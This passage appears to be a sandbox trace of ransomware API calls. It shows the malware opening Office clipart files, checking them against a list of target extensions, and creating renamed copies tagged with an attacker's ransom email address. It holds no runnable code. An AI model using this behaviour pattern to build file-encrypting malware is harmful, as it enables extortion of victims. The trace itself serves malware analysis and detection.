Office\\root\\CLIPART\\PUB60COR\\WB01295_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01295_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1158 [0262.775] GetFileSizeEx (in: hFile=0x1158, lpFileSize=0x28dff14 | out: lpFileSize=0x28dff14*=353) returned 1 [0262.775] CloseHandle (hObject=0x1158) returned 1 [0262.775] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01295_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01295_.gif")) returned 0x220 [0262.775] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01295_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01295_.gif.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0262.776] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01295_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01295_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1158 [0262.776] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0262.776] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0262.776] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01295_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01295_.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.776] CloseHandle (hObject=0x1158) returned 1 [0262.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01295_.GIF") returned 68 [0262.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01295_.GIF") returned 68 [0262.777] lstrlenW (lpString=".doc") returned 4 [0262.777] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0262.777] lstrlenW (lpString=".docx") returned 5 [0262.777] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0262.777] lstrlenW (lpString=".pdf") returned 4 [0262.777] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0262.777] lstrlenW (lpString=".xls") returned 4 [0262.777] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0262.777] lstrlenW (lpString=".xlsx") returned 5 [0262.777] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0262.777] lstrlenW (lpString=".ppt") returned 4 [0262.777] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0262.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01295_.GIF") returned 68 [0262.777] lstrlenW (lpString=".zip") returned 4 [0262.777] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0262.777] lstrlenW (lpString=".rar") returned 4 [0262.777] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0262.777] lstrlenW (lpString=".bz2") returned 4 [0262.777] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0262.777] lstrlenW (lpString=".7z") returned 3 [0262.778] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0262.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01295_.GIF") returned 68 [0262.778] lstrlenW (lpString=".dbf") returned 4 [0262.778] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0262.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01295_.GIF") returned 68 [0262.778] lstrlenW (lpString=".1cd") returned 4 [0262.778] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0262.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01295_.GIF") returned 68 [0262.778] lstrlenW (lpString=".jpg") returned 4 [0262.778] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0262.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01295_.GIF") returned 68 [0262.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01295_.GIF") returned 68 [0262.778] lstrlenW (lpString=".doc") returned 4 [0262.778] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0262.778] lstrlenW (lpString=".docx") returned 5 [0262.778] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0262.778] lstrlenW (lpString=".pdf") returned 4 [0262.778] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0262.778] lstrlenW (lpString=".xls") returned 4 [0262.779] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0262.779] lstrlenW (lpString=".xlsx") returned 5 [0262.779] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0262.779] lstrlenW (lpString=".ppt") returned 4 [0262.779] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0262.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01295_.GIF") returned 68 [0262.779] lstrlenW (lpString=".zip") returned 4 [0262.779] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0262.779] lstrlenW (lpString=".rar") returned 4 [0262.779] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0262.779] lstrlenW (lpString=".bz2") returned 4 [0262.780] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0262.780] lstrlenW (lpString=".7z") returned 3 [0262.780] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0262.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01295_.GIF") returned 68 [0262.780] lstrlenW (lpString=".dbf") returned 4 [0262.780] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0262.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01295_.GIF") returned 68 [0262.780] lstrlenW (lpString=".1cd") returned 4 [0262.780] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0262.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01295_.GIF") returned 68 [0262.780] lstrlenW (lpString=".jpg") returned 4 [0262.780] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0262.780] lstrcmpiW (lpString1=".GIF", lpString2=".com") returned 1 [0262.780] lstrlenW (lpString="WB01296_.GIF") returned 12 [0262.780] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01296_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01296_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1158 [0262.782] GetFileSizeEx (in: hFile=0x1158, lpFileSize=0x28dff14 | out: lpFileSize=0x28dff14*=495) returned 1 [0262.782] CloseHandle (hObject=0x1158) returned 1 [0262.782] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01296_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01296_.gif")) returned 0x220 [0262.782] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01296_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01296_.gif.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0262.782] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01296_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01296_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1158 [0262.783] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0262.783] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0262.783] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01296_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01296_.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.783] CloseHandle (hObject=0x1158) returned 1 [0262.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01296_.GIF") returned 68 [0262.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01296_.GIF") returned 68 [0262.784] lstrlenW (lpString=".doc") returned 4 [0262.784] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0262.784] lstrlenW (lpString=".docx") returned 5 [0262.784] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0262.784] lstrlenW (lpString=".pdf") returned 4 [0262.784] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0262.784] lstrlenW (lpString=".xls") returned 4 [0262.784] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0262.784] lstrlenW (lpString=".xlsx") returned 5 [0262.784] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0262.784] lstrlenW (lpString=".ppt") returned 4 [0262.784] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0262.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01296_.GIF") returned 68 [0262.785] lstrlenW (lpString=".zip") returned 4 [0262.785] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0262.785] lstrlenW (lpString=".rar") returned 4 [0262.785] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0262.785] lstrlenW (lpString=".bz2") returned 4 [0262.785] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0262.785] lstrlenW (lpString=".7z") returned 3 [0262.785] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0262.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01296_.GIF") returned 68 [0262.785] lstrlenW (lpString=".dbf") returned 4 [0262.785] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0262.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01296_.GIF") returned 68 [0262.785] lstrlenW (lpString=".1cd") returned 4 [0262.785] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0262.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01296_.GIF") returned 68 [0262.785] lstrlenW (lpString=".jpg") returned 4 [0262.785] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0262.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01296_.GIF") returned 68 [0262.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01296_.GIF") returned 68 [0262.785] lstrlenW (lpString=".doc") returned 4 [0262.785] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0262.785] lstrlenW (lpString=".docx") returned 5 [0262.785] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0262.786] lstrlenW (lpString=".pdf") returned 4 [0262.786] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0262.786] lstrlenW (lpString=".xls") returned 4 [0262.786] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0262.786] lstrlenW (lpString=".xlsx") returned 5 [0262.786] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0262.786] lstrlenW (lpString=".ppt") returned 4 [0262.786] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0262.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01296_.GIF") returned 68 [0262.786] lstrlenW (lpString=".zip") returned 4 [0262.786] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0262.786] lstrlenW (lpString=".rar") returned 4 [0262.786] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0262.786] lstrlenW (lpString=".bz2") returned 4 [0262.786] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0262.786] lstrlenW (lpString=".7z") returned 3 [0262.786] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0262.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01296_.GIF") returned 68 [0262.786] lstrlenW (lpString=".dbf") returned 4 [0262.786] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0262.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01296_.GIF") returned 68 [0262.786] lstrlenW (lpString=".1cd") returned 4 [0262.786] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0262.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01296_.GIF") returned 68 [0262.786] lstrlenW (lpString=".jpg") returned 4 [0262.786] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0262.787] lstrcmpiW (lpString1=".GIF", lpString2=".com") returned 1 [0262.787] lstrlenW (lpString="WB01297_.GIF") returned 12 [0262.787] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01297_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01297_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1158 [0262.787] GetFileSizeEx (in: hFile=0x1158, lpFileSize=0x28dff14 | out: lpFileSize=0x28dff14*=894) returned 1 [0262.787] CloseHandle (hObject=0x1158) returned 1 [0262.788] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01297_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01297_.gif")) returned 0x220 [0262.788] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01297_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01297_.gif.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0262.788] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01297_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01297_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1158 [0262.788] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0262.789] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0262.789] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01297_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01297_.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.789] CloseHandle (hObject=0x1158) returned 1 [0262.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01297_.GIF") returned 68 [0262.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01297_.GIF") returned 68 [0262.790] lstrlenW (lpString=".doc") returned 4 [0262.790] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0262.790] lstrlenW (lpString=".docx") returned 5 [0262.790] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0262.790] lstrlenW (lpString=".pdf") returned 4 [0262.790] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0262.790] lstrlenW (lpString=".xls") returned 4 [0262.790] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0262.790] lstrlenW (lpString=".xlsx") returned 5 [0262.790] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0262.790] lstrlenW (lpString=".ppt") returned 4 [0262.790] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0262.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01297_.GIF") returned 68 [0262.790] lstrlenW (lpString=".zip") returned 4 [0262.790] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0262.790] lstrlenW (lpString=".rar") returned 4 [0262.790] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0262.790] lstrlenW (lpString=".bz2") returned 4 [0262.791] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0262.791] lstrlenW (lpString=".7z") returned 3 [0262.791] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0262.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01297_.GIF") returned 68 [0262.791] lstrlenW (lpString=".dbf") returned 4 [0262.791] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0262.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01297_.GIF") returned 68 [0262.791] lstrlenW (lpString=".1cd") returned 4 [0262.791] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0262.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01297_.GIF") returned 68 [0262.791] lstrlenW (lpString=".jpg") returned 4 [0262.791] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0262.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01297_.GIF") returned 68 [0262.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01297_.GIF") returned 68 [0262.791] lstrlenW (lpString=".doc") returned 4 [0262.791] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0262.791] lstrlenW (lpString=".docx") returned 5 [0262.791] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0262.791] lstrlenW (lpString=".pdf") returned 4 [0262.792] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0262.792] lstrlenW (lpString=".xls") returned 4 [0262.792] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0262.792] lstrlenW (lpString=".xlsx") returned 5 [0262.792] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0262.792] lstrlenW (lpString=".ppt") returned 4 [0262.792] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0262.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01297_.GIF") returned 68 [0262.792] lstrlenW (lpString=".zip") returned 4 [0262.792] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0262.792] lstrlenW (lpString=".rar") returned 4 [0262.792] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0262.792] lstrlenW (lpString=".bz2") returned 4 [0262.792] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0262.792] lstrlenW (lpString=".7z") returned 3 [0262.792] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0262.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01297_.GIF") returned 68 [0262.792] lstrlenW (lpString=".dbf") returned 4 [0262.792] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0262.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01297_.GIF") returned 68 [0262.792] lstrlenW (lpString=".1cd") returned 4 [0262.792] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0262.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01297_.GIF") returned 68 [0262.792] lstrlenW (lpString=".jpg") returned 4 [0262.792] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0262.793] lstrcmpiW (lpString1=".GIF", lpString2=".com") returned 1 [0262.793] lstrlenW (lpString="WB01298_.GIF") returned 12 [0262.793] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01298_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01298_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1158 [0263.140] GetFileSizeEx (in: hFile=0x1158, lpFileSize=0x28dff14 | out: lpFileSize=0x28dff14*=700) returned 1 [0263.140] CloseHandle (hObject=0x1158) returned 1 [0263.140] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01298_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01298_.gif")) returned 0x220 [0263.141] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01298_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01298_.gif.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0263.141] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01298_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01298_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1158 [0263.141] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.141] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.141] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01298_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01298_.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.141] CloseHandle (hObject=0x1158) returned 1 [0263.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01298_.GIF") returned 68 [0263.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01298_.GIF") returned 68 [0263.142] lstrlenW (lpString=".doc") returned 4 [0263.142] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0263.142] lstrlenW (lpString=".docx") returned 5 [0263.142] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0263.142] lstrlenW (lpString=".pdf") returned 4 [0263.142] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0263.142] lstrlenW (lpString=".xls") returned 4 [0263.142] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0263.142] lstrlenW (lpString=".xlsx") returned 5 [0263.142] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0263.142] lstrlenW (lpString=".ppt") returned 4 [0263.142] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0263.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01298_.GIF") returned 68 [0263.142] lstrlenW (lpString=".zip") returned 4 [0263.142] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0263.142] lstrlenW (lpString=".rar") returned 4 [0263.142] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0263.142] lstrlenW (lpString=".bz2") returned 4 [0263.142] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0263.142] lstrlenW (lpString=".7z") returned 3 [0263.143] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0263.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01298_.GIF") returned 68 [0263.143] lstrlenW (lpString=".dbf") returned 4 [0263.144] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0263.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01298_.GIF") returned 68 [0263.144] lstrlenW (lpString=".1cd") returned 4 [0263.144] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0263.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01298_.GIF") returned 68 [0263.144] lstrlenW (lpString=".jpg") returned 4 [0263.144] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0263.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01298_.GIF") returned 68 [0263.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01298_.GIF") returned 68 [0263.144] lstrlenW (lpString=".doc") returned 4 [0263.144] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0263.144] lstrlenW (lpString=".docx") returned 5 [0263.144] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0263.144] lstrlenW (lpString=".pdf") returned 4 [0263.145] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0263.145] lstrlenW (lpString=".xls") returned 4 [0263.145] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0263.145] lstrlenW (lpString=".xlsx") returned 5 [0263.145] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0263.145] lstrlenW (lpString=".ppt") returned 4 [0263.145] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0263.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01298_.GIF") returned 68 [0263.145] lstrlenW (lpString=".zip") returned 4 [0263.145] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0263.145] lstrlenW (lpString=".rar") returned 4 [0263.145] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0263.145] lstrlenW (lpString=".bz2") returned 4 [0263.145] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0263.145] lstrlenW (lpString=".7z") returned 3 [0263.145] lstrcmpiW 